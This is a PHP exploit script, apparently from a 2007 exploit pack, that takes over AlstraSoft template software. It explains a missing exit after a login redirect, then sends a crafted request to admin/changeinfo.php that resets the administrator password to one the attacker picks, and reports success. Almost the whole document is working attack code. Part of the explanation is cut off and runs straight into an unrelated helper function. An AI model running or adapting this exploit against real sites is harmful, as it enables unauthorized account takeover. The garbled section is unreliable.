`#!/usr/bin/php -q -d short_open_tag=on Thanks to rgod for the php code and Marty for the Love "; if ($argc<4) { echo "Usage: php ".$argv[0]." Host Path ID password Host: target server (ip/hostname) Path: path of template ID: A Valid Admin ID (usally 1 works for the 'admin' nickname) password: The PWD you want to set Example: php ".$argv[0]." localhost /template/ 1 hawk"; die; } error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); /* ___________________________________________________________________ / This script is part of the AlstraSoft Exploit Pack: \ | | | http://itablackhawk.altervista.org/exploit/alsoft_exploit_pack; | | | | You can find the patches for this bugs at: | | | | http://itablackhawk.altervista.org/download/alsoft_patch.zip | | | \________________________.:BlackHawk 2007:._________________________/ */ /* VULN EXPLANATION look at include/main.php, checkLogin function: function checkLogin() { global $username, $userpassword, $userID,$conn; global $user_name, $user_pass, $admin_privs,$designer_privs,$affiliate_privs; session_start(); session_register("session"); if ($user_name == "" AND $username == "") { header("Location:index.php"); } elseif ($user_name != "" OR $username != "") { $sql_user_name = $user_name; $md5_pass = md5($user_pass); $sql = "SELECT * FROM UserDB WHERE user_name='$sql_user_name' and user_password='$md5_pass'"; $ADODB_FETCH_MODE = ADODB_FETCH_ASSOC; $recordSet = $conn->Execute($sql); $num = $recordSet->RecordCount(); if ($num == 1) { [...] session_register("admin_privs"); [...] } else { header("Location:index.php"); } } // end elseif mmm.. there isn't any exit or die() after header('Location: index.php').. so the first part of the security can be bypassed.. now look at admin/changeinfo.php: 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } $host=$argv[1]; $path=$argv[2]; $adminID=$argv[3]; $password=$argv[4]; $port=80; $proxy=""; if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} echo "- Changing admin password...\r\n"; $packet="GET ".$p."admin/changeinfo.php?admin_privs=yes&submit=sottometto&userID=$adminID&frompassword=$password HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (!eregi("Info Successfully",$html)) { echo 'ERROR EXPLOITING - TRY AGAIN\r\n'; exit; } echo 'Exploit worked, your new password for the admin user (ID: '.$adminID.') has been changed into: '.$password; # Coded With BH Fast Generator v0.1 ?> `

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